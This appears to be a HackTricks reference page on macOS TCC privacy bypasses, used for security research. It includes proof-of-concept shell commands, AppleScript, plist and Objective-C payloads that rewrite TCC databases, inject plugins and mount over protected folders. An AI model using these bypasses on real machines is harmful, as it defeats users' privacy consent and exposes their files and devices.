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413 lines
20 KiB
Markdown
413 lines
20 KiB
Markdown
# macOS TCC Bypasses
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
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## By functionality
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### Write Bypass
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This is not a bypass, it's just how TCC works: **It doesn't protect from writing**. If Terminal **doesn't have access to read the Desktop of a user it can still write into it**:
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```shell-session
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username@hostname ~ % ls Desktop
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ls: Desktop: Operation not permitted
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username@hostname ~ % echo asd > Desktop/lalala
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username@hostname ~ % ls Desktop
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ls: Desktop: Operation not permitted
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username@hostname ~ % cat Desktop/lalala
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asd
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```
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The **extended attribute `com.apple.macl`** is added to the new **file** to give the **creators app** access to read it.
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### SSH Bypass
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By default an access via **SSH** will have **"Full Disk Access"**. In order to disable this you need to have it listed but disabled (removing it from the list won't remove those privileges):
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.png>)
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Here you can find examples of how some **malwares have been able to bypass this protection**:
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* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
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{% hint style="danger" %}
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Note that now, in order to be able to enable SSH you need **Full Disk Access**
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{% endhint %}
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### Handle extensions - CVE-2022-26767
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The attribute **`com.apple.macl`** is given to files to give a **certain application permissions to read it.** This attribute is set when **drag\&drop** a file over an app, or when a user **double-clicks** a file to open it with the **default application**.
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Therefore, a user could **register a malicious app** to handle all the extensions and call Launch Services to **open** any file (so the malicious file will be granted access to read it).
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### iCloud
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The entitlement **`com.apple.private.icloud-account-access`** it's possible to communicate with **`com.apple.iCloudHelper`** XPC service which will **provide iCloud tokens**.
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**iMovie** and **Garageband** had this entitlement and others that allowed.
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### kTCCServiceAppleEvents / Automation
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An app with the **`kTCCServiceAppleEvents`** permission will be able to **control other Apps**. This means that it could be able to **abuse the permissions granted to the other Apps**.
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For more info about Apple Scripts check:
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{% content-ref url="macos-apple-scripts.md" %}
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[macos-apple-scripts.md](macos-apple-scripts.md)
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{% endcontent-ref %}
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For example, if an App has **Automation permission over `iTerm`**, for example in this example **`Terminal`** has access over iTerm:
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<figure><img src="../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
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#### Over iTerm
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Terminal, who doesn't have FDA, can call iTerm, which has it, and use it to perform actions:
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{% code title="iterm.script" %}
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```applescript
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tell application "iTerm"
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activate
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tell current window
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create tab with default profile
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end tell
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tell current session of current window
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write text "cp ~/Desktop/private.txt /tmp"
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end tell
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end tell
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```
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{% endcode %}
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```bash
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osascript iterm.script
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```
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#### Over Finder
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Or if an App has access over Finder, it could a script such as this one:
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```applescript
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set a_user to do shell script "logname"
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tell application "Finder"
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set desc to path to home folder
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set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
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set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
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end tell
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do shell script "rm " & POSIX path of (copyFile as alias)
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```
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## By App behaviour
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### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
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The userland **tccd daemon** what using the **`HOME`** **env** variable to access the TCC users database from: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
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According to [this Stack Exchange post](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) and because the TCC daemon is running via `launchd` within the current user’s domain, it's possible to **control all environment variables** passed to it.\
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Thus, an **attacker could set `$HOME` environment** variable in **`launchctl`** to point to a **controlled** **directory**, **restart** the **TCC** daemon, and then **directly modify the TCC database** to give itself **every TCC entitlement available** without ever prompting the end user.\
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PoC:
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```bash
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# reset database just in case (no cheating!)
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$> tccutil reset All
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# mimic TCC's directory structure from ~/Library
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$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
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# cd into the new directory
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$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
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# set launchd $HOME to this temporary directory
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$> launchctl setenv HOME /tmp/tccbypass
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# restart the TCC daemon
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$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
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# print out contents of TCC database and then give Terminal access to Documents
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$> sqlite3 TCC.db .dump
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$> sqlite3 TCC.db "INSERT INTO access
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VALUES('kTCCServiceSystemPolicyDocumentsFolder',
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'com.apple.Terminal', 0, 1, 1,
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X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
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NULL,
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NULL,
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'UNUSED',
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NULL,
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NULL,
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1333333333333337);"
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# list Documents directory without prompting the end user
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$> ls ~/Documents
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```
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### CVE-2021-30761 - Notes
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Notes had access to TCC protected locations but when a note is created this is **created in a non-protected location**. So, you could ask notes to copy a protected file in a noe (so in a non-protected location) and then access the file:
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<figure><img src="../../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
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### CVE-2021-XXXX - Translocation
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The binary `/usr/libexec/lsd` with the library `libsecurity_translocate` had the entitlement `com.apple.private.nullfs_allow` which allowed it to crate **nullfs** mount and had the entitlement `com.apple.private.tcc.allow` with **`kTCCServiceSystemPolicyAllFiles`** to access every file.
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It was possible to add the quarantine attribute to "Library", call the **`com.apple.security.translocation`** XPC service and then it would map Library to **`$TMPDIR/AppTranslocation/d/d/Library`** where all the documents inside Library could be **accessed**.
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### SQL Tracing
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If the environment variable **`SQLITE_AUTO_TRACE`** is set, the library **`libsqlite3.dylib`** will start **logging** all the SQL queries. Many applications used this library, so it was possible to log all their SQLite queries.
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Several Apple applications used this library to access TCC protected information.
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```bash
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# Set this env variable everywhere
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launchctl setenv SQLITE_AUTO_TRACE 1
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```
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### Apple Remote Dektop
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As root you could enable this service and the **ARD agent will have full disk access** which could then be abused by a user to make it copy a new **TCC user database**.
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## By plugins
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Plugins are extra code usually in the form of libraries or plist, that will be **loaded by the main applicatio**n and will execute under its context. Therefore, if the main application had access to TCC restricted files (via granted permissions or entitlements), the **custom code will also have it**.
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### CVE-2020-27937 - Directory Utility
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The application `/System/Library/CoreServices/Applications/Directory Utility.app` had the entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, loaded plugins with **`.daplug`** extension and **didn't have the hardened** runtime.
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In order to weaponize this CVE, the **`NFSHomeDirectory`** is **changed** (abusing the previous entitlement) in order to be able to **take over the users TCC databas**e to bypass TCC.
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For more info check the [**original report**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
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### CVE-2020-29621 - Coreaudiod
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The binary **`/usr/sbin/coreaudiod`** had the entitlements `com.apple.security.cs.disable-library-validation` and `com.apple.private.tcc.manager`. The first **allowing code injection** and second one giving it access to **manage TCC**.
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This binary allowed to load **third party plug-ins** from the folder `/Library/Audio/Plug-Ins/HAL`. Therefore, it was possible to **load a plugin and abuse the TCC permissions** with this PoC:
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```objectivec
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#import <Foundation/Foundation.h>
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#import <Security/Security.h>
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extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
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void add_tcc_entry() {
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CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
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CFStringRef bundleID = CFSTR("com.apple.Terminal");
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CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
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SecRequirementRef requirement = NULL;
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SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
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CFDataRef requirementData = NULL;
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SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
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TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
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}
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__attribute__((constructor)) static void constructor(int argc, const char **argv) {
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add_tcc_entry();
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NSLog(@"[+] Exploitation finished...");
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exit(0);
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```
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For more info check the [**original report**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
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### Device Abstraction Layer (DAL) Plug-Ins
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System applications that open camera stream via Core Media I/O (apps with **`kTCCServiceCamera`**) load **in the process these plugins** located in `/Library/CoreMediaIO/Plug-Ins/DAL` (not SIP restricted).
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Just storing in there a library with the common **constructor** will work to **inject code**.
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Several Apple applications were vulnerable to this.
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## By process injection
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There are different techniques to inject code inside a process and abuse its TCC privileges:
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{% content-ref url="../../macos-proces-abuse/" %}
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[macos-proces-abuse](../../macos-proces-abuse/)
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{% endcontent-ref %}
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### Firefox
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The Firefox application is still vulnerable having the `com.apple.security.cs.disable-library-validation` entitlement:
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```xml
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codesign -d --entitlements :- /Applications/Firefox.app
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Executable=/Applications/Firefox.app/Contents/MacOS/firefox
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
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<true/>
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<key>com.apple.security.cs.disable-library-validation</key>
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<true/>
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<key>com.apple.security.device.audio-input</key>
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<true/>
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<key>com.apple.security.device.camera</key>
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<true/>
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<key>com.apple.security.personal-information.location</key>
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<true/>
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<key>com.apple.security.smartcard</key>
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<true/>
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</dict>
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</plist>
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```
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Fore more info about how to easily exploit this [**check the original report**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
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### CVE-2020-10006
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The binary `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` had the entitlements **`com.apple.private.tcc.allow`** and **`com.apple.security.get-task-allow`**, which allowed to inject code inside the process and use the TCC privileges.
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### CVE-2023-26818 - Telegram
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Telegram had the entitlements `com.apple.security.cs.allow-dyld-environment-variables` and c`om.apple.security.cs.disable-library-validation`, so it was possible to abuse it to **get access to its permissions** such recording with the camera. You can [**find the payload in the writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
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## By open invocations
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It's possible to invoke open in sandboxed 
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### Terminal Scripts
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It's quiet common to give terminal **Full Disk Access (FDA)**, at least in computers used by tech people. And it's possible to invoke **`.terminal`** scripts using with it.
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**`.terminal`** scripts are plist files such as this one with the command to execute in the **`CommandString`** key:
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
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<dict>
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<key>CommandString</key>
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<string>cp ~/Desktop/private.txt /tmp/;</string>
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<key>ProfileCurrentVersion</key>
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<real>2.0600000000000001</real>
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<key>RunCommandAsShell</key>
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<false/>
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<key>name</key>
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<string>exploit</string>
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<key>type</key>
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<string>Window Settings</string>
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</dict>
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</plist>
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```
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An application could write a terminal script in a location such as /tmp and launch it with a come such as:
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```objectivec
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// Write plist in /tmp/tcc.terminal
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[...]
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NSTask *task = [[NSTask alloc] init];
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NSString * exploit_location = @"/tmp/tcc.terminal";
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task.launchPath = @"/usr/bin/open";
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task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
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exploit_location]; task.standardOutput = pipe;
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[task launch];
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```
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## By mounting
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### CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation
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**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
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The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
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{% code overflow="wrap" %}
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```bash
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# Create snapshot
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tmutil localsnapshot
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# List snapshots
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tmutil listlocalsnapshots /
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Snapshots for disk /:
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com.apple.TimeMachine.2023-05-29-001751.local
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# Generate folder to mount it
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cd /tmp # I didn it from this folder
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mkdir /tmp/snap
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# Mount it, "noowners" will mount the folder so the current user can access everything
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/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
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# Access it
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ls /tmp/snap/Users/admin_user # This will work
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```
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{% endcode %}
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A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
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### CVE-2021-1784 & CVE-2021-30808 - Mount over TCC file
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Even if TCC DB file is protected, It was possible to **mount over the directory** a new TCC.db file:
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{% code overflow="wrap" %}
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```bash
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# CVE-2021-1784
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## Mount over Library/Application\ Support/com.apple.TCC
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hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
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# CVE-2021-1784
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## Mount over ~/Library
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hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
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```
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{% endcode %}
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```python
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# This was the python function to create the dmg
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def create_dmg():
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os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
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os.system("mkdir /tmp/mnt")
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os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
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os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
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os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
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os.system("hdiutil detach /tmp/mnt 1>/dev/null")
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```
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Check the **full exploit** in the [**original writeup**](https://theevilbit.github.io/posts/cve-2021-30808/).
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### asr
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The tool **`/usr/sbin/asr`** allowed to copy the whole disk and mount it in another place bypassing TCC protections.
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### Location Services
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There is a third TCC database in **`/var/db/locationd/clients.plist`** to indicate clients allowed to **access location services**.\
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The folder **`/var/db/locationd/` wasn't protected from DMG mounting** so it was possible to mount our own plist.
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## By startup apps
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{% content-ref url="../../../macos-auto-start-locations.md" %}
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[macos-auto-start-locations.md](../../../macos-auto-start-locations.md)
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{% endcontent-ref %}
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## By grep
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In several occasions files will store sensitive information like emails, phone numbers, messages... in non protected locations (which count as a vulnerability in Apple).
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<figure><img src="../../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
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## Reference
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* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
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* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||
* [**20+ Ways to Bypass Your macOS Privacy Mechanisms**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
|
||
* [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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||
|
||
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
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|
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</details>
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